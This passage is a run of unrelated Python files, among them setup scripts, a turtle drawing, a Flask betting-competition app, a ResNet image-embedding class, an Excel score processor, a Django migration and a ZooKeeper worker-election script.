        "Natural Language :: English",
        "Programming Language :: Python",
        "Operating System :: OS Independent",
        "Topic :: Database :: Front-Ends",
        "Topic :: Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries",
        ],
    keywords='imdb imdbpy paste webkit wsgi',
    author='H. Turgut Uyar',
    author_email='uyar@tekir.org',
    url='http://imdbpy.sourceforge.net/?page=programs#imdbpykit',
    license='GPL',
    packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),
    include_package_data=True,
    zip_safe=False,
    install_requires=[
        'PasteWebkit',
        'IMDbPY>4.0',
    ],
    entry_points="""
      # -*- Entry points: -*-
      [paste.app_factory]
      main = imdbpykit.wsgiapp:make_app
      """,
    )


def splicer(string,n):

    #n is the number of introns you want spliced out from the string

    while n>0:
        intron=str(input('enter the intron'))
        string=string.replace(intron,'')
        n-=1

    #loop removes introns from the string of bases for as many introns declared by n

    print(string)


# https://github.com/kais2503/Turtle-mini-project/blob/master/flower.py

import turtle

def draw_square(few_turtle):
    for i in range(4):
        few_turtle.forward(200)
        few_turtle.right(90)

def draw_mosaique_art():
    window =turtle.Screen()
    window.bgcolor("black")

    mosaique=turtle.Turtle()
    mosaique.shape('circle')
    mosaique.speed('fastest')
    mosaique.shapesize(0.5,0.5)
    mosaique.color("red","yellow")
    mosaique.begin_fill()

    for i in range (72):
        draw_square(mosaique)
        mosaique.right(5)
    mosaique.end_fill
    mosaique.forward(330)
    window.exitonclick()

draw_mosaique_art()


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pandas

from flask import Flask, render_template, session, request, jsonify, redirect,\
	url_for
from flask_login import LoginManager, current_user, login_user, \
	logout_user

from flask_session import Session
from flask_socketio import SocketIO, emit

from models.user import User
from models.competition import Competition

app = Flask(__name__, static_url_path='/static')
app.config['SECRET_KEY'] = '2bet-secret!'
app.config['SESSION_TYPE'] = 'filesystem'
login = LoginManager(app)
Session(app)
socketio = SocketIO(app, manage_session=False)

@login.user_loader
def load_user(id):
	user = User(id)
	if 'competition_id' in session:
		user.set_competition(session['competition_id'])

	return user

@app.route('/session', methods=['GET', 'POST'])
def session_access():
	if request.method == 'GET':
		return jsonify({
			'session': session.get('value', ''),
			'user': current_user.id
			if current_user.is_authenticated else 'anonymous'
		})
	data = request.get_json()
	if 'session' in data:
		session['value'] = data['session']
	elif 'user' in data:
		if data['user']:
			login_user(User.new(data['user'], data['name']))

			if 'invite_token' in data:
				competition_id = Competition.decode_token(data['invite_token'])

				if not current_user.is_signed(competition_id):
					current_user.sign_into(competition_id)
		else:
			logout_user()
	return '', 204

@app.route('/')
def index():
	if current_user.is_authenticated:
		return redirect(url_for('competitions'))
	else:
		return redirect(url_for('login'))

@app.route('/login')
def login():
	if current_user.is_authenticated:
		return redirect(url_for('competitions'))
	else:
		return render_template('login.html')

@app.route('/competitions', methods=['GET', 'POST'])
def competitions():
	if current_user.is_authenticated:
		return render_template(
			'competitions.html',
			all_competitions=current_user.get_competitions()
		)
	else:
		return redirect(url_for('login'))

@app.route('/competitions/new', methods=['POST'])
def post_competitions():
	if current_user.is_authenticated:
		competition = Competition.create(
				request.form['name'],
				current_user.id,
				request.form['private']
			)

		for competitor in request.form['competitors']:
			competition.add_competitors(competitor)
		return '', 201
	else:
		return redirect(url_for('login'))

@app.route('/pannel/<competition_id>')
def pannel(competition_id):
	if current_user.is_authenticated:
		if current_user.is_signed(competition_id):

			# sets competition to user and session
			current_user.set_competition(competition_id)
			session['competition_id'] = competition_id
			competition = Competition(competition_id)

			return render_template(
						'pannel.html',
						my_team_points=current_user.get_tickets(), # add totalscore here
						team_minimal_values=competition.get_ticket_values(),
						my_credits=current_user.get_credits(),
						my_score=current_user.get_score(),
						ranking=current_user.get_ranking(),
						is_owner=current_user.is_owner()
					)
		else:
			return redirect(url_for('competitions'))
	else:
		return redirect(url_for('login'))

@app.route('/sign_competition', methods=['POST'])
def sign_competition():
	data = request.get_json()
	competition_id = data['competition_id']
	if 'competition_id' in data:
		if current_user.is_signed(competition_id):
			session['competition_id'] = competition_id
			current_user.set_competition(competition_id)
		else:
			current_user.sign_into(competition_id)
	return '', 204

@app.route('/set_operation', methods=['POST'])
def set_operation():
	buy = request.form['event_type'] == 'buy'
	try:
		current_user.add_operation(
			request.form['competitor_id'],
			request.form['fb-qtd'] if buy == True else request.form['fs-qtd'],
			request.form['fb-value']  if buy == True else request.form['fs-value'],
			buy
		)
		return '', 201
	except Exception as e:
		print(e)
		return str(e), 400

@app.route('/set_order', methods=['POST'])
def set_order():
	buy = request.form['event_type'] == 'buy'
	try:
		current_user.add_order(
			request.form['competitor_id'],
			request.form['ob-qtd'] if buy else request.form['os-qtd'],
			request.form['ob-value']  if buy else request.form['os-value'],
			buy
		)
		return '', 201
	except Exception as e:
		print(e)
		return str(e), 400

@app.route('/cancel_order', methods=['POST'])
def cancel_order():
	try:
		current_user.cancel_order(request.form['order_id'])
		return '', 201
	except Exception as e:
		print(e)
		return str(e), 400

@app.route('/get_competitor_data/<competitor_id>', methods=['GET'])
def get_competitor_data(competitor_id):
	competition = Competition(session['competition_id'])
	obj = competition.get_competitor_stats(competitor_id)
	obj['user_orders'] = current_user.get_competitor_orders(competitor_id).values.tolist()

	return jsonify(obj);

@app.route('/new_competition', methods=['POST', 'GET'])
def new_competition():
	return render_template('new_competition.html')

@app.route('/create_competition', methods=['POST'])
def create_competition():
	competition_name = request.form['comp_name']
	is_private = request.form['private'] == "on"
	Competition.new(competition_name, current_user.id, is_private, True)
	return '', 204

@app.route('/settings/<competition_id>')
def competition_settings(competition_id):

	competition = Competition(competition_id)

	return render_template('competition_settings.html',
		invite_link = 'http://sweepstock.online/invite/{}'
						.format(competition.get_invite_token())
	)

@app.route('/invite/<token>')
def invite_token(token):
	return render_template('invite.html')

if __name__ == '__main__':
	socketio.run(app)


import torch
import torch.nn as nn
import torchvision.models as models
import torchvision.transforms as transforms
from torch.autograd import Variable

class Img2Vec():

    def __init__(self, model='resnet34', layer_output_size=512):
        self.CUDA = False #torch.cuda.is_available()
        self.layer_output_size = layer_output_size
        self.model, self.extraction_layer = self._get_model_and_layer(model)
        print("Using "+ model)

        if self.CUDA:
            self.model.cuda()

        # Set to testing mode
        self.model.eval()

        self.np2PIL = transforms.ToPILImage()
        self.scaler = transforms.Scale((224, 224))
        self.normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],
                                              std=[0.229, 0.224, 0.225])
        self.to_tensor = transforms.ToTensor()

    def _get_model_and_layer(self, model_name):
        """ Internal method for getting layer from model
        :param model_name: model name such as 'resnet-18'
        :param layer: layer as a string for resnet-18 or int for alexnet
        :returns: pytorch model, selected layer
        """
        if model_name == 'resnet18':
            model = models.resnet18(pretrained=True)
        elif model_name == 'resnet34':
            model = models.resnet34(pretrained=True)
        elif model_name == 'resnet50':
            model = models.resnet50(pretrained=True)
        elif model_name == 'resnet101':
            model = models.resnet101(pretrained=True)
        elif model_name == 'resnet152':
            model = models.resnet152(pretrained=True)
        else:
            raise KeyError('Model %s was not found' % model_name)

        layer = model._modules.get('avgpool')

        return model, layer

    def get_vec(self, img):
        """ Get vector embedding from PIL image
        """
        # cv2
        if self.CUDA:
            image = Variable(self.normalize(self.to_tensor(self.scaler(self.np2PIL(img)))).unsqueeze(0)).cuda()
        else:
            image = Variable(self.normalize(self.to_tensor(self.scaler(self.np2PIL(img)))).unsqueeze(0))

        # # PIL
        # if self.CUDA:
        #     image = Variable(self.normalize(self.to_tensor(self.scaler(img))).unsqueeze(0)).cuda()
        # else:
        #     image = Variable(self.normalize(self.to_tensor(self.scaler(img))).unsqueeze(0))

        # initialize feature vector
        my_embedding = torch.zeros(1,self.layer_output_size, 1, 1)

        # hook function to copy layer output (passes model/input/output)
        # when forward pass reaches this layer, hook function executed as interrupt
        # store copy of output data in my_embedding
        def copy_data(m, i, o):
            my_embedding.copy_(o.data)

        # attach hook function to selected layer
        h = self.extraction_layer.register_forward_hook(copy_data)

        # run model on image
        # feature outputs will be stored in my_embedding after forward pass
        self.model(image)

        # Detach function from layer
        h.remove()
        return my_embedding.numpy()


import os
import xlrd

verses_list = ["aavbb", "ccvdd",
               "eevff", "ggvhh",
               "iivjj", "kkvll",
               "mmvnn", "uuvww"]

def exists_file(filename):

    if not os.path.exists(filename):
        print(filename, " is empty")
        return False
    else:
        print("processing ", filename)
        return True

def check_same_status(user_guess, true_fact):

    same_num = 0
    status = ''

    for i in range(len(true_fact)):
        if user_guess[i] == "X":
            # return "null"
            status += "N"
        elif user_guess[i] == true_fact[i]:
            same_num += 1
            status += "Y"
        else:
            status += "N"

    status = status + ':' + str(same_num)
    # print(user_guess, "&", true_fact, " -- ", status)
    return status

def result_of_single_match(user_input, match_index):

    if len(user_input) == 0:
        return "_";

    team_A = verses_list[match_index].split('v')[0]
    team_B = verses_list[match_index].split('v')[1]

    if team_A in user_input:
        return "A"
    elif team_B in user_input:
        return "B"
    else:
        return "X"

def generate_user_guess(worksheet, rows, cols):

    for i in range(rows):
        single_row = worksheet.row_values(i)

        # print(single_row)
        user_guess = ""
        user_index = single_row[0]
        user_name = single_row[1]
        if type(user_index) == str:
            continue

        for j in range(len(final_results)):
            user_guess += result_of_single_match(single_row[j+3], j)

        user_result = check_same_status(user_guess, final_results)

        correct_num = int(user_result.split(':')[1])
        tuple_to_save = (int(user_index), user_name, correct_num)
        final_list[correct_num].append(tuple_to_save)
        print(int(user_index), user_name, " -- ", user_result)

def process_sheet(worksheet):

    ws_rows = worksheet.nrows
    ws_cols = worksheet.ncols
    user_res = generate_user_guess(worksheet, ws_rows, ws_cols)

def process_file(filename):

    if exists_file(filename):
        workbook = xlrd.open_workbook(filename)
    else:
        return

    process_sheet(workbook.sheet_by_index(0))

if __name__ == '__main__':

    xls_name = "./all_user_results.xls"
    final_results = "BAAABAAA"
    final_list = []
    list_pd= []

    final_list = [[] for _ in range(len(final_results)+1)]
    print(final_list)

    process_file(xls_name)
    print(final_list[len(final_results)-3])
    print(final_list[len(final_results)-4])


# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models, migrations

class Migration(migrations.Migration):

    dependencies = [
        ('trello_app', '0011_auto_20210613_1828'),
    ]

    operations = [
        migrations.AlterField(
            model_name='attachements',
            name='user_profile',
            field=models.ForeignKey(to='trello_app.UserProfile'),
        ),
    ]


#태그 제거
#data.txt data2.txt data3.txt data4.txt data5.txt -> DATT
import re
import json

with open('data5.txt') as f: #data.txt data2.txt data3.txt data4.txt data5.txt에 대하여 모두
    line_num=1
    line = f.readline()
    while line:
        f2 = open('DATT.txt','a')
        head, sep, tail = line.partition('#')
        f2.write(head+"\n")

        line=f.readline()
        line_num+=1

f.close()


# Import necessary modules
import logging
import os
import subprocess
from kazoo.client import KazooClient
from kazoo.client import KazooState
import time
from kazoo.client import KazooState
time.sleep(14)

zk_path="/producer/"
# Get the environment set to this particular container
data = os.environ
print(data,"\nos.environ\n")
wid=os.environ['workerUniqueId']
print(os.environ['workerUniqueId'],"\nenv id\n")
# using environment id create a unique znode path name
newZnodePath=zk_path+"Worker"+str(wid)
# Connect to zookeeper server
zk = KazooClient(hosts='zoo:2181')
zk.start()
# Ensure a path, create if necessary
zk.ensure_path(zk_path)
if zk.exists(newZnodePath):
    print("Node already exists")
else:
    print("Creating new znode")
# Create a node with data
    zk.create(newZnodePath, b"slave",ephemeral=True)
workerProc=subprocess.Popen(["python","worker.py","False"])
logging.basicConfig()

# Can also use the @DataWatch and @ChildrenWatch decorators for the same
def demo_func(event):
    # Create a node with data
    global zk_path
    global workerProc
    global zk
    # Get the znode data associated with the znode
    data, stat = zk.get(newZnodePath,watch=demo_func)
    # Decode the data
    mydata=data.decode("utf-8")
    if(mydata=="master"):
        #restart the process worker.py
        print("Yay !! I am the new master now. says: "+newZnodePath)
        print("restart the process worker.py")
        # Kill the process worker.py
        workerProc.kill()
        workerProc=subprocess.Popen(["python","worker.py","True"])
        # Wait for the process worker.py finish
        # Until then this process wont end
        workerProc.wait()
    # zk.create("/producer/node_2", b"new demo producer node")
    print(event)
    children = zk.get_children(zk_path)
    print("There are %s children with names %s" % (len(children), children))

data, stat = zk.get(newZnodePath,watch=demo_func)
print("Version: %s, data: %s" % (stat.version, data.decode("utf-8")))
# Wait for the process worker.py finish
# Until then this process wont end
workerProc.wait()


#!/usr/bin/env python
import os
import sys
from setuptools import setup

here = os.path.abspath(os.path.dirname(__file__))
README = open(os.path.join(here, 'README.rst')).read()
CHANGES = open(os.path.join(here, 'CHANGES.txt')).read()

setup(name='LED',
      version='0.0.1',
      description='LED program for simple text patterns for LED videowall from Tecnovision spa',
      long_description=README + '\n\n' +  CHANGES,
      classifiers=[
        "Programming Language :: Python",
        "Framework :: pygame",
        "Topic :: pygame :: gui",
        "Topic :: devices :: gui",
        ],
      author='fabiodive@gmail.com',
      author_email='fabiodive@gmail.com',
      url='https://github.com/fabiodive/LED',
      keywords='LED pygame PGU python',
      packages=['LED'],
      include_package_data=True,
      zip_safe=False,
      )